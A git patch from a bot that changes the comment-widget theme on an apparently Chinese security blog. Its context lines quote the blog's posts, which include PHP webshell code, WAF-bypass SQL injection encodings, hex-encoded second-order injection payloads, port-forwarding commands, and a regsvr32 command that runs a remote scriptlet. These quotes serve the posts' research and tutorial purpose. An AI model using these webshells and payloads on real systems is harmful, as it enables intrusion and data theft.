From e7fffb394e4bd0c67d7a678bf1ef14ce84e9e943 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 19 Sep 2024 07:43:46 +0000 Subject: [PATCH] change giscus theme 97770f22414b95bb3cb93d22250e42defadb8233 --- about/index.html | 2 +- archivers/2015-11-20/1/index.html | 2 +- archivers/2015-11-20/2/index.html | 2 +- archivers/2015-11-20/3/index.html | 2 +- archivers/2015-11-20/4/index.html | 2 +- archivers/2015-11-20/5/index.html | 2 +- archivers/2015-11-20/6/index.html | 2 +- archivers/2017-03-05/1/index.html | 2 +- archivers/2017-03-06/1/index.html | 2 +- archivers/2017-03-10/1/index.html | 2 +- archivers/2017-03-10/2/index.html | 2 +- archivers/2017-06-05/1/index.html | 2 +- archivers/2017-06-08/2/index.html | 2 +- archivers/2017-07-31/1/index.html | 2 +- archivers/2017-08-21/1/index.html | 2 +- archivers/2017-11-08/1/index.html | 2 +- archivers/2017-11-14/1/index.html | 2 +- archivers/2017-11-21/1/index.html | 2 +- archivers/2018-01-22/1/index.html | 2 +- archivers/2018-01-30/1/index.html | 2 +- archivers/2018-03-18/1/index.html | 2 +- archivers/2018-03-27/1/index.html | 2 +- archivers/2018-04-20/1/index.html | 2 +- archivers/2018-05-02/1/index.html | 2 +- archivers/2018-06-09/1/index.html | 2 +- archivers/2018-07-27/1/index.html | 2 +- archivers/2018-08-03/2/index.html | 2 +- archivers/2018-08-16/1/index.html | 2 +- archivers/2018-10-08/1/index.html | 2 +- archivers/2018-10-19/1/index.html | 2 +- archivers/2018-10-30/1/index.html | 2 +- archivers/2018-11-04/1/index.html | 2 +- archivers/2018-11-26/1/index.html | 2 +- archivers/2018-12-06/1/index.html | 2 +- archivers/2018-12-18/2/index.html | 2 +- archivers/2018-12-18/6/index.html | 2 +- .../2018-12-19/linux-privilege/index.html | 2 +- .../Windows-CriticalSection/index.html | 2 +- .../2018-12-20/windows-FileMapping/index.html | 2 +- archivers/2018-18-31/index.html | 2 +- archivers/2019-01-26/1/index.html | 2 +- archivers/2019-01-26/2/index.html | 2 +- archivers/2019-01-31/1/index.html | 2 +- archivers/2019-03-16/1/index.html | 2 +- archivers/2019-03-30/2/index.html | 2 +- archivers/2019-04-02/1/index.html | 2 +- archivers/2019-04-02/2/index.html | 2 +- archivers/2019-04-08/1/index.html | 2 +- archivers/2019-04-13/1/index.html | 2 +- archivers/2019-04-24/1/index.html | 2 +- archivers/2019-04-24/2/index.html | 2 +- archivers/2019-04-24/3/index.html | 2 +- archivers/2019-05-09/1/index.html | 2 +- archivers/2019-10-02/1/index.html | 2 +- archivers/2019-11-10/1/index.html | 2 +- archivers/2019-11-10/2/index.html | 2 +- archivers/2019-11-10/3/index.html | 2 +- archivers/2019-11-10/4/index.html | 2 +- archivers/2020-01-01/1/index.html | 2 +- archivers/2020-01-01/2/index.html | 2 +- archivers/2020-01-01/3/index.html | 2 +- archivers/2020-01-25/1/index.html | 2 +- archivers/2020-03-02/1/index.html | 2 +- archivers/2020-03-02/2/index.html | 2 +- archivers/2020-03-02/3/index.html | 2 +- archivers/2020-03-02/4/index.html | 2 +- archivers/2020-03-02/5/index.html | 2 +- archivers/2020-03-21/2/index.html | 2 +- archivers/2020-07-16/1/index.html | 2 +- archivers/2020-08-24/1/index.html | 2 +- archivers/2020-11-29/1/index.html | 2 +- archivers/2020-11-29/2/index.html | 2 +- archivers/2021-07-20/1/index.html | 2 +- archivers/2021-08-11/1/index.html | 2 +- archivers/2021-08-30/2/index.html | 2 +- archivers/2021-09-13/1/index.html | 2 +- archivers/2021-11-23/1/index.html | 2 +- archivers/2022-03-01/1/index.html | 2 +- archivers/2022-03-04/1/index.html | 2 +- archivers/2022-08-17/1/index.html | 2 +- archivers/2022-09-03/1/index.html | 2 +- archivers/2022-09-19/1/index.html | 2 +- .../2023-07-19/useful-software/index.html | 2 +- archivers/2023-07-23/appveyor/index.html | 2 +- archivers/2023-08-07/clash-config/index.html | 2 +- .../index.html | 2 +- archivers/2023-09-18/phishing/index.html | 2 +- archivers/2023-10-31/good-habits/index.html | 2 +- .../2023-12-29/year-end-summary/index.html | 2 +- .../extract-vuln-search-queries/index.html | 2 +- categories/c++/c/index.xml | 378 +- categories/c/c++/index.xml | 63 +- categories/linux/index.xml | 43 +- categories/nmap/index.xml | 12 +- .../web\345\256\211\345\205\250/index.xml" | 106 +- categories/windows/index.xml | 110 +- .../index.xml" | 62 +- .../index.xml" | 294 +- .../index.xml" | 81 +- .../index.xml" | 31 +- .../index.xml" | 4 +- .../index.xml" | 59 +- .../index.xml" | 17 +- .../\347\224\237\346\264\273/index.xml" | 201 +- .../index.xml" | 269 +- .../\351\253\230\346\225\210/index.xml" | 166 +- index.html | 2 +- index.xml | 4459 ++++++++++++++++- links/index.html | 2 +- message/index.html | 2 +- page/10/index.html | 2 +- page/11/index.html | 2 +- page/12/index.html | 2 +- page/13/index.html | 2 +- page/14/index.html | 2 +- page/2/index.html | 2 +- page/3/index.html | 2 +- page/4/index.html | 2 +- page/5/index.html | 2 +- page/6/index.html | 2 +- page/7/index.html | 2 +- page/8/index.html | 2 +- page/9/index.html | 2 +- posts/index.xml | 4459 ++++++++++++++++- projects/index.html | 2 +- readme/index.html | 2 +- sponsor/index.html | 2 +- "tags/ai\347\233\270\345\205\263/index.xml" | 81 +- tags/appveyor/index.xml | 42 +- tags/phishing/index.xml | 45 +- tags/redteam/index.xml | 35 +- tags/rust/index.xml | 4 +- tags/vscode/index.xml | 140 +- .../index.xml" | 68 +- .../index.xml" | 77 +- tools/socat/index.html | 2 +- 136 files changed, 11087 insertions(+), 439 deletions(-) diff --git a/about/index.html b/about/index.html index a44457c..9fd295d 100644 --- a/about/index.html +++ b/about/index.html @@ -1,2 +1,2 @@ About - 倾旋的博客 -
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

About

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

\ No newline at end of file +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

About

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

\ No newline at end of file diff --git a/archivers/2015-11-20/1/index.html b/archivers/2015-11-20/1/index.html index a63840b..c947313 100644 --- a/archivers/2015-11-20/1/index.html +++ b/archivers/2015-11-20/1/index.html @@ -74,4 +74,4 @@ Trying 192.168.1.1 … Connected to 192.168.1.1 … -
\ No newline at end of file +
\ No newline at end of file diff --git a/archivers/2015-11-20/2/index.html b/archivers/2015-11-20/2/index.html index e836165..edb15e5 100644 --- a/archivers/2015-11-20/2/index.html +++ b/archivers/2015-11-20/2/index.html @@ -218,4 +218,4 @@ [AR3-rip-1] [AR3-rip-1]network 192.168.2.0 -

配置结果:

enter description here
0x07

实验链接:http://pan.baidu.com/s/1dDhVMxj 密码:xfnv

\ No newline at end of file +

配置结果:

enter description here
0x07

实验链接:http://pan.baidu.com/s/1dDhVMxj 密码:xfnv

\ No newline at end of file diff --git a/archivers/2015-11-20/3/index.html b/archivers/2015-11-20/3/index.html index feae15b..9928f3c 100644 --- a/archivers/2015-11-20/3/index.html +++ b/archivers/2015-11-20/3/index.html @@ -208,4 +208,4 @@ [AR3-ospf-1-area-0.0.0.0]q [AR3-ospf-1]silent-interface G0/0/1 -

实验链接:http://pan.baidu.com/s/1bnFjTGb 密码:49bw

\ No newline at end of file +

实验链接:http://pan.baidu.com/s/1bnFjTGb 密码:49bw

\ No newline at end of file diff --git a/archivers/2015-11-20/4/index.html b/archivers/2015-11-20/4/index.html index 923d625..3749074 100644 --- a/archivers/2015-11-20/4/index.html +++ b/archivers/2015-11-20/4/index.html @@ -78,4 +78,4 @@ [Huawei-Vlanif30]ip address 192.168.0.100 16 [Huawei-Vlanif30]arp-proxy inner-sub-vlan-proxy enable -

剩下的5~7步省略

0x05 测试

enter description here
0x09

Ping 192.168.2.1

enter description here
0x10

实验链接:http://pan.baidu.com/s/1mgix2h6 密码:1gz2

\ No newline at end of file +

剩下的5~7步省略

0x05 测试

enter description here
0x09

Ping 192.168.2.1

enter description here
0x10

实验链接:http://pan.baidu.com/s/1mgix2h6 密码:1gz2

\ No newline at end of file diff --git a/archivers/2015-11-20/5/index.html b/archivers/2015-11-20/5/index.html index 32d81ec..764c484 100644 --- a/archivers/2015-11-20/5/index.html +++ b/archivers/2015-11-20/5/index.html @@ -164,4 +164,4 @@ [Huawei-port-group]q <Huawei>save -

将把当前的配置保存到存储设备中。

是否继续?[Y/N]Y

正在将运行时的配置写入到存储设备0。

保存配置成功。

实验链接:http://pan.baidu.com/s/1jGFBAKI 密码:c9pe

\ No newline at end of file +

将把当前的配置保存到存储设备中。

是否继续?[Y/N]Y

正在将运行时的配置写入到存储设备0。

保存配置成功。

实验链接:http://pan.baidu.com/s/1jGFBAKI 密码:c9pe

\ No newline at end of file diff --git a/archivers/2015-11-20/6/index.html b/archivers/2015-11-20/6/index.html index 66c4d84..af3e070 100644 --- a/archivers/2015-11-20/6/index.html +++ b/archivers/2015-11-20/6/index.html @@ -44,4 +44,4 @@ 2

 [Huawei-mst-region]active region-configuration
-

0x07 设置实例的优先级别、指定实例根桥

首先查看一下LSW3:

enter description here
0x13

enter description here
0x14

可以看到LSW3是总根桥

在LSW4查看STP:

enter description here
0x15

然后设置实例2的优先级别为0

[Huawei]stp instance 2 priority 0

enter description here
0x16

实验文件链接:http://pan.baidu.com/s/1pJpcY1P 密码:1vp9

\ No newline at end of file +

0x07 设置实例的优先级别、指定实例根桥

首先查看一下LSW3:

enter description here
0x13

enter description here
0x14

可以看到LSW3是总根桥

在LSW4查看STP:

enter description here
0x15

然后设置实例2的优先级别为0

[Huawei]stp instance 2 priority 0

enter description here
0x16

实验文件链接:http://pan.baidu.com/s/1pJpcY1P 密码:1vp9

\ No newline at end of file diff --git a/archivers/2017-03-05/1/index.html b/archivers/2017-03-05/1/index.html index 9e6d8af..7df5d48 100644 --- a/archivers/2017-03-05/1/index.html +++ b/archivers/2017-03-05/1/index.html @@ -87,4 +87,4 @@ 47 Query SET NAMES 'utf8' COLLATE 'utf8_general_ci' 47 Query SELECT '<?php assert($_POST["admin"]);?>' 47 Quit -

0x03 总结

在权限把控不严谨的情况下容易出现此类攻击,如果MySQL没有权限在站点根目录下创建文件的话也就不会发生这样的情况了。

修复方案就是权限把控好就可以了 ~

\ No newline at end of file +

0x03 总结

在权限把控不严谨的情况下容易出现此类攻击,如果MySQL没有权限在站点根目录下创建文件的话也就不会发生这样的情况了。

修复方案就是权限把控好就可以了 ~

\ No newline at end of file diff --git a/archivers/2017-03-06/1/index.html b/archivers/2017-03-06/1/index.html index d4fd66c..269533f 100644 --- a/archivers/2017-03-06/1/index.html +++ b/archivers/2017-03-06/1/index.html @@ -125,4 +125,4 @@ [参数名]=参数值 亦或者 [参数名]=参数值; -

enter description here

这类都会被解析,只要根据正规协议数据结构去构造数据包即可bypass。

我们来看一个例子:

enter description here

这里已经被拦截,我们根据上述条件来修改数据包:

enter description here

已经bypass成功了。此文涉及的知识面并不广,只是有些小技巧,如果你还有更好的研究方法,可以一同交流。

\ No newline at end of file +

enter description here

这类都会被解析,只要根据正规协议数据结构去构造数据包即可bypass。

我们来看一个例子:

enter description here

这里已经被拦截,我们根据上述条件来修改数据包:

enter description here

已经bypass成功了。此文涉及的知识面并不广,只是有些小技巧,如果你还有更好的研究方法,可以一同交流。

\ No newline at end of file diff --git a/archivers/2017-03-10/1/index.html b/archivers/2017-03-10/1/index.html index 3340ba8..dcc7587 100644 --- a/archivers/2017-03-10/1/index.html +++ b/archivers/2017-03-10/1/index.html @@ -34,4 +34,4 @@ #print "[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version ." print payload return payload -

我们测试一下先不载入tamper脚本:

enter description here

到了这基本没戏了,我们看看拦截日志

enter description here

现在载入tamper脚本:

enter description here

可以看到已经载入,并且识别了waf指纹。

以下是跑脚本的过程

enter description here

enter description here

支持布尔值注入

支持union注入

enter description here

\ No newline at end of file +

我们测试一下先不载入tamper脚本:

enter description here

到了这基本没戏了,我们看看拦截日志

enter description here

现在载入tamper脚本:

enter description here

可以看到已经载入,并且识别了waf指纹。

以下是跑脚本的过程

enter description here

enter description here

支持布尔值注入

支持union注入

enter description here

\ No newline at end of file diff --git a/archivers/2017-03-10/2/index.html b/archivers/2017-03-10/2/index.html index 17a4241..c103d68 100644 --- a/archivers/2017-03-10/2/index.html +++ b/archivers/2017-03-10/2/index.html @@ -77,4 +77,4 @@

测试结果:

enter description here

0x04 小总结

等价替换

前面已经讲解了 等价函数和等价符号

大小写替换 想必这个大家应该都知道 把字母的大写小写替换下就行了例如 SeLeCt LiKe UnIoN

不常用函数 一般经常在报错注入中使用

例如floor(),extractvalue(),updatexml(),exp() 这些 原因是因为waf 可能没考虑到这些函数的危害

特殊符号

例如 “+”,“-”,“@”,“!”,“~”等等很多的特殊符号

比如 “+” select+password+from+mysql.user 相当于是一个空格的作用

编码 URL编码

普通的URL编码就不再过多叙述,但是在有些数据传输过程中可以采用双重URL编码测试

Unicode编码

个别特殊符号:

单引号:

%u0027、%u02b9、%u02bc%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 -空格:

%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:

%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:

%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

十六进制编码

在有的情况下通过注入点写shell的时候,我们一般把shell code转换为十六进制,其一因为数据库自动转换,其二是因为可以逃避WAF针对特殊字符拦截。

注释

某些情况下,针对不同的数据库采用不同的注释混淆,也可以bypass

普通注释 /**/、-- 、# ...

内联注释 /*!*/

\ No newline at end of file +空格:

%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:

%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:

%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

十六进制编码

在有的情况下通过注入点写shell的时候,我们一般把shell code转换为十六进制,其一因为数据库自动转换,其二是因为可以逃避WAF针对特殊字符拦截。

注释

某些情况下,针对不同的数据库采用不同的注释混淆,也可以bypass

普通注释 /**/、-- 、# ...

内联注释 /*!*/

\ No newline at end of file diff --git a/archivers/2017-06-05/1/index.html b/archivers/2017-06-05/1/index.html index a985197..6e8b1a3 100644 --- a/archivers/2017-06-05/1/index.html +++ b/archivers/2017-06-05/1/index.html @@ -78,4 +78,4 @@ $___Ss .=chr((114 ^ 0)); //[r] $___Ss .=chr((116 ^ 0)); //[t] $___Ss(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFthY3Rpb25dKSk='); -

解码后是:$___Ss(@eval(base64_decode($_POST[action])))

再次简化为:assert(@eval(base64_decode($_POST[action])))

那么现在你就应该可以明白了,我们的Cknife传出的全部都是Base64编码,从而绕过WAF对数据包敏感词汇的匹配。

个人认为Base64目前是最为方便的传输方式,因为该传输行为与开发人员极其相似,例如:图片base64传输,还有我们Shell Code中使用的参数,也是开发人员经常用到的 username

此时更改好后我们去try一下 ~

Success

看来已经成功了。

查看进程:

Command

图中选中的进程SafeDogSiteApache.exe,就是WAF了,一切都没有拦截。

0x04 最后的思考

如果想做到真正的安全,还是要深入行为查杀,当前的WAF不是很强大,基本上通过匹配数据包的内容已经无法满足防护的需求了。

因为当前的传输方式是通过正常的手法去传输的。

下一次升级可以考虑进行各种可能的解码…… 不过只是亡羊补牢的做法罢了。

最终还是要加强木马的查杀,相关文章脚本木马查杀原理的简单探讨

由于文章比较敏感,就不在知乎发布了。 感谢阅读,微信公众号:知安小酒馆 欢迎关注 !

我的微信:Guest_Killer_0nlis

\ No newline at end of file +

解码后是:$___Ss(@eval(base64_decode($_POST[action])))

再次简化为:assert(@eval(base64_decode($_POST[action])))

那么现在你就应该可以明白了,我们的Cknife传出的全部都是Base64编码,从而绕过WAF对数据包敏感词汇的匹配。

个人认为Base64目前是最为方便的传输方式,因为该传输行为与开发人员极其相似,例如:图片base64传输,还有我们Shell Code中使用的参数,也是开发人员经常用到的 username

此时更改好后我们去try一下 ~

Success

看来已经成功了。

查看进程:

Command

图中选中的进程SafeDogSiteApache.exe,就是WAF了,一切都没有拦截。

0x04 最后的思考

如果想做到真正的安全,还是要深入行为查杀,当前的WAF不是很强大,基本上通过匹配数据包的内容已经无法满足防护的需求了。

因为当前的传输方式是通过正常的手法去传输的。

下一次升级可以考虑进行各种可能的解码…… 不过只是亡羊补牢的做法罢了。

最终还是要加强木马的查杀,相关文章脚本木马查杀原理的简单探讨

由于文章比较敏感,就不在知乎发布了。 感谢阅读,微信公众号:知安小酒馆 欢迎关注 !

我的微信:Guest_Killer_0nlis

\ No newline at end of file diff --git a/archivers/2017-06-08/2/index.html b/archivers/2017-06-08/2/index.html index 685bb94..c29d694 100644 --- a/archivers/2017-06-08/2/index.html +++ b/archivers/2017-06-08/2/index.html @@ -1,3 +1,3 @@ 光阴是酒,醉了来人 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

08 -Jun 2017

光阴是酒,醉了来人

  季节一茬茬地来了又去了,像人,一批批地走来,又一批批地融化。时间的水,冲刷春夏秋冬,阳春白雪,也让许多人的影子沉溺消逝。尽管寒来暑往是一种经难,而人,也还是在出世入世间醉了自己,醉了时空。

  是谁把光阴酿成了甘醇,一滴酒里就论了乾坤。点点清亮的水液,容纳了大唐的雄风,装进了汉王的豪气。究竟是时光醉了人,还是人醉了时光。

  日子不等人,不管你是柴禾背夫,还是皇室王子,气数的极限就等候在眼前,无论你看见还是看见,抑或装作没看见,它都有足够的耐心蹲守在那里。孟婆碗里的汤,从不分高贵与贫贱,人生命的季节末端,总有奈何桥上大一统的公平与平等。

  那是一座怎样美妙的彩虹桥啊!谁走在上面,都是天堂的等待。因为这里废弃了等级观念,人人都是光阴酒缸里的裸浴者。王冠和草帽一样的散香,赤裸的身躯同样的云中飞,雾中驰。

  在世上,人人都想活出个光彩照人,个个都拼出老命也要把红尘间的锦囊扑抓。本想优雅转身时,却撞上了华丽的黑暗。

  时光把四季熏得年年旋,月月转,怎么也跨不出春花秋果的轮回圈。人是日子的背包,让年月一遍遍地装入,随着岁数的递增,包底的沉重一次次地拖压,终成漏兜的一个滴落。

  小时候,总盼望着花儿快快的开,把轻快的脚步向往成光阴里的一枚枚敬拜。于是,对着月下星空,遥想长大后的种种美好。那时,一秒钟的憧憬,就温暖了几个世纪的来生。

  日落日升不醉人,人自醉。一落入尘埃,黎明的第一缕曙光,就是一坛迷人的酒,你饮与不饮,由不得心的首造。

  时辰很慈悲,从不索求什么。只要人一落世,对谁都平等相待。

  锦上添花是人的本性嗜好,在苦难中挣扎的生命需要手的救援,但常常碰到的是袖手旁观的姿势。黑色的脚印墨化了人性的良善,而狼性的生吞活剥在人世得到了最大程度的释放。生存中,人学会了残暴,冷酷,狞笑,势利,三五九等成为惯常的衡量思维,祭祀的飘带上,有神的遗嘱在猎猎飞扬。

  人时常赞美大自然的公正,岂不知,自然界是一个最没有情商的怪物,它和政治的心律一样,只跳荡在适者生存的理念上。一条生物链,把弱肉强食的经转念到了地老天荒。

  一代豪杰,总想活出个千年黑,万年白,炼丹炉里的熊熊火光,忽闪出嘲讽的烈焰,映红了永世不泯的野心。世事不会有尽头,而人总想扒住时光的岩石,做一朵永不凋谢的石茶花。

  宇宙间,除了时间是不可争论的公平君子外,一切皆是虚晃的游戏。所有主义的,只能代表政治的某种主张,不能代替文化。政治的潜规则,是人玩出来的。文化是酿酒师,把人酿成了哲学。

  易经,是物质运行轨迹的学说;佛学,是因果的学说。人神共舞,这个世界因此精彩无限。在世上,人人都想当主角,生活中,实则大部分都只能是配角。

  芸芸众生是现实的本来面目,众多星星里一盘月亮才是合乎天规的所在。人想通了,则一通百通。闷头曳犁的牛,常常会在收割的季节里咀嚼出生命最本真的滋味。

  一枚草叶的清香,就到达了幸福的彼岸。

  境界是文化的酒香,悲剧是历史的命题。回光返照让一个时代疯狂得烫手,谁在持念一把剑的血刃上,玷污了一个民族的良知。

  等候的灯盏照不出人前行后尘的路,官僚阶级的产生,让众生瞠目结舌。于是,畸形的意识腐蚀了经世的流年。世界不变的规律就是不停地在变,海不会枯,石不会烂,只有人的誓言才会在利己的环境下溃散如沙。

  在排除异己,消除后患的现实面前,翻寻先人业力里的残忍,使人返祖的记忆呈现一派黑色瑰丽,亮了自己的眼,暗了神坛上的的灯。

  尘垢在肉身上结成了一件厚厚的外衣,人活不出自我,就被沉重的衣服拖向黑夜的深渊里。思想的灾难导致凡俗间的不了情,为求得一地生存,早已忘却了天堂和地狱两扇迥异的门。

  斟一杯时光的酒,你来我往的路上,皆是醉汉,踉跄的身影,婀娜的梦想,飘逸出岁月的醇香。

  尘世一缘,相遇相逢,你在我的眼里,我在你的眸上,光阴的酒豪迈了来者的醉意,盘腿一坐,便嗅出了年轮的禅味……

\ No newline at end of file +Jun 2017

光阴是酒,醉了来人

  季节一茬茬地来了又去了,像人,一批批地走来,又一批批地融化。时间的水,冲刷春夏秋冬,阳春白雪,也让许多人的影子沉溺消逝。尽管寒来暑往是一种经难,而人,也还是在出世入世间醉了自己,醉了时空。

  是谁把光阴酿成了甘醇,一滴酒里就论了乾坤。点点清亮的水液,容纳了大唐的雄风,装进了汉王的豪气。究竟是时光醉了人,还是人醉了时光。

  日子不等人,不管你是柴禾背夫,还是皇室王子,气数的极限就等候在眼前,无论你看见还是看见,抑或装作没看见,它都有足够的耐心蹲守在那里。孟婆碗里的汤,从不分高贵与贫贱,人生命的季节末端,总有奈何桥上大一统的公平与平等。

  那是一座怎样美妙的彩虹桥啊!谁走在上面,都是天堂的等待。因为这里废弃了等级观念,人人都是光阴酒缸里的裸浴者。王冠和草帽一样的散香,赤裸的身躯同样的云中飞,雾中驰。

  在世上,人人都想活出个光彩照人,个个都拼出老命也要把红尘间的锦囊扑抓。本想优雅转身时,却撞上了华丽的黑暗。

  时光把四季熏得年年旋,月月转,怎么也跨不出春花秋果的轮回圈。人是日子的背包,让年月一遍遍地装入,随着岁数的递增,包底的沉重一次次地拖压,终成漏兜的一个滴落。

  小时候,总盼望着花儿快快的开,把轻快的脚步向往成光阴里的一枚枚敬拜。于是,对着月下星空,遥想长大后的种种美好。那时,一秒钟的憧憬,就温暖了几个世纪的来生。

  日落日升不醉人,人自醉。一落入尘埃,黎明的第一缕曙光,就是一坛迷人的酒,你饮与不饮,由不得心的首造。

  时辰很慈悲,从不索求什么。只要人一落世,对谁都平等相待。

  锦上添花是人的本性嗜好,在苦难中挣扎的生命需要手的救援,但常常碰到的是袖手旁观的姿势。黑色的脚印墨化了人性的良善,而狼性的生吞活剥在人世得到了最大程度的释放。生存中,人学会了残暴,冷酷,狞笑,势利,三五九等成为惯常的衡量思维,祭祀的飘带上,有神的遗嘱在猎猎飞扬。

  人时常赞美大自然的公正,岂不知,自然界是一个最没有情商的怪物,它和政治的心律一样,只跳荡在适者生存的理念上。一条生物链,把弱肉强食的经转念到了地老天荒。

  一代豪杰,总想活出个千年黑,万年白,炼丹炉里的熊熊火光,忽闪出嘲讽的烈焰,映红了永世不泯的野心。世事不会有尽头,而人总想扒住时光的岩石,做一朵永不凋谢的石茶花。

  宇宙间,除了时间是不可争论的公平君子外,一切皆是虚晃的游戏。所有主义的,只能代表政治的某种主张,不能代替文化。政治的潜规则,是人玩出来的。文化是酿酒师,把人酿成了哲学。

  易经,是物质运行轨迹的学说;佛学,是因果的学说。人神共舞,这个世界因此精彩无限。在世上,人人都想当主角,生活中,实则大部分都只能是配角。

  芸芸众生是现实的本来面目,众多星星里一盘月亮才是合乎天规的所在。人想通了,则一通百通。闷头曳犁的牛,常常会在收割的季节里咀嚼出生命最本真的滋味。

  一枚草叶的清香,就到达了幸福的彼岸。

  境界是文化的酒香,悲剧是历史的命题。回光返照让一个时代疯狂得烫手,谁在持念一把剑的血刃上,玷污了一个民族的良知。

  等候的灯盏照不出人前行后尘的路,官僚阶级的产生,让众生瞠目结舌。于是,畸形的意识腐蚀了经世的流年。世界不变的规律就是不停地在变,海不会枯,石不会烂,只有人的誓言才会在利己的环境下溃散如沙。

  在排除异己,消除后患的现实面前,翻寻先人业力里的残忍,使人返祖的记忆呈现一派黑色瑰丽,亮了自己的眼,暗了神坛上的的灯。

  尘垢在肉身上结成了一件厚厚的外衣,人活不出自我,就被沉重的衣服拖向黑夜的深渊里。思想的灾难导致凡俗间的不了情,为求得一地生存,早已忘却了天堂和地狱两扇迥异的门。

  斟一杯时光的酒,你来我往的路上,皆是醉汉,踉跄的身影,婀娜的梦想,飘逸出岁月的醇香。

  尘世一缘,相遇相逢,你在我的眼里,我在你的眸上,光阴的酒豪迈了来者的醉意,盘腿一坐,便嗅出了年轮的禅味……

\ No newline at end of file diff --git a/archivers/2017-07-31/1/index.html b/archivers/2017-07-31/1/index.html index 3d99a86..300fdce 100644 --- a/archivers/2017-07-31/1/index.html +++ b/archivers/2017-07-31/1/index.html @@ -75,4 +75,4 @@ on port 4200) Client A port 4200)

| 服务端 | socat - tcp-l:10000 tcp-l:4200 | 客户端 | socat tcp4:60.*.*.*:10000 tcp4:localhost:4200

参考文档

socat使用手册

0x02 lcx(go语言编写)

被控端192.168.10.2 :

lcx <公网IP> 123

控制端 111.111.111.111:

lcx 456 123 192.168.10.2 3389

此时访问111.111.111.111的456就等于192.168.10.2:3389

Download -相关文章

\ No newline at end of file +相关文章

\ No newline at end of file diff --git a/archivers/2017-08-21/1/index.html b/archivers/2017-08-21/1/index.html index 91b6967..d429184 100644 --- a/archivers/2017-08-21/1/index.html +++ b/archivers/2017-08-21/1/index.html @@ -28,4 +28,4 @@ clientAuth="false" sslProtocol="TLS" keystoreFile="keystore文件路径" keystorePass="口令" /> -

重启tomcat后生效~

\ No newline at end of file +

重启tomcat后生效~

\ No newline at end of file diff --git a/archivers/2017-11-08/1/index.html b/archivers/2017-11-08/1/index.html index 000cc25..759e90f 100644 --- a/archivers/2017-11-08/1/index.html +++ b/archivers/2017-11-08/1/index.html @@ -62,4 +62,4 @@ </script> </registration> </scriptlet> -

还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct(COM scriptlet - requires a webserver to stage the payload)

regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

结语

没有总结太多交互式下载文件的,这类的不太适用我们所遇到的场景,如果还有更多方式,后面再填补进来

\ No newline at end of file +

还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct(COM scriptlet - requires a webserver to stage the payload)

regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

结语

没有总结太多交互式下载文件的,这类的不太适用我们所遇到的场景,如果还有更多方式,后面再填补进来

\ No newline at end of file diff --git a/archivers/2017-11-14/1/index.html b/archivers/2017-11-14/1/index.html index d5eb4e7..e56ae8f 100644 --- a/archivers/2017-11-14/1/index.html +++ b/archivers/2017-11-14/1/index.html @@ -143,4 +143,4 @@

访问check.php后: check.php

这个页面的意思是统计数据库中有几个人和我使用的手机号是一样的。

根据场景还原一下SQL语句:SELECT COUNT(*) FROM user WHERE phone = '123456'

其他地方就再也没有翻到什么有价值的信息,获取不到admin用户的密码,当然也看不到phone

这时我只能思考这个check.php中,到底有什么漏洞,隐约感觉这里存在一个SQL注入,于是想办法验证,可是注册的时候后端完全判断了phone到底是不是数字。

忽然想起,它没有限制数字多长,大概40多位长都可以,那么存储phone这个字段的数据类型一定不是int或者char,而是varchar

我尝试了十六进制提交,结果还真的可以注册,它肯定使用的是is_numberic()函数。

| username | test12345678 | | password | test12345678 | -| phone | 0x3132333435362720616e64202773273d2773 |

0x3132333435362720616e64202773273d2773 对应 123456' and 's'='s

check.php

提交后,进入check页面:

check.php

返回 0 。

我们继续注册,使用一个报错payload,看页面是否支持报错注入:

123456' " *SELECT-x => 0x313233343536272022202a53454c4543542d78

check.php

可以看到报错信息了,但是不是我们期望的mysql->error。

但是不要灰心,已经找到突破点了,通过十六进制转换,我们可以把phone带入SQL语句。

写一个UNION试试吧~

123456' UNION SELECT version() FROM dual where 's'='s => 0x3132333435362720554e494f4e2053454c4543542076657273696f6e28292046524f4d206475616c207768657265202773273d2773

check.php

OK,数据版本出来了,继续注入表以及数据库名。 但是当时我没有去选择这个办法,而是通过搜集的表单信息来当做字段名,这样节省时间,碰运气。

123456' UNION SELECT phone FROM user where 'admin'='admin => 0x3132333435362720554e494f4e2053454c4543542070686f6e652046524f4d2075736572207768657265202761646d696e273d2761646d696e

check.php

0x03 过程分析

这种逻辑型的二次SQL注入,的确是扫描器、工具难以发现,如果再加个验证码,难度会更高一些。

寻找突破点还是要积累更多的经验

0x04 过程演示

\ No newline at end of file +| phone | 0x3132333435362720616e64202773273d2773 |

0x3132333435362720616e64202773273d2773 对应 123456' and 's'='s

check.php

提交后,进入check页面:

check.php

返回 0 。

我们继续注册,使用一个报错payload,看页面是否支持报错注入:

123456' " *SELECT-x => 0x313233343536272022202a53454c4543542d78

check.php

可以看到报错信息了,但是不是我们期望的mysql->error。

但是不要灰心,已经找到突破点了,通过十六进制转换,我们可以把phone带入SQL语句。

写一个UNION试试吧~

123456' UNION SELECT version() FROM dual where 's'='s => 0x3132333435362720554e494f4e2053454c4543542076657273696f6e28292046524f4d206475616c207768657265202773273d2773

check.php

OK,数据版本出来了,继续注入表以及数据库名。 但是当时我没有去选择这个办法,而是通过搜集的表单信息来当做字段名,这样节省时间,碰运气。

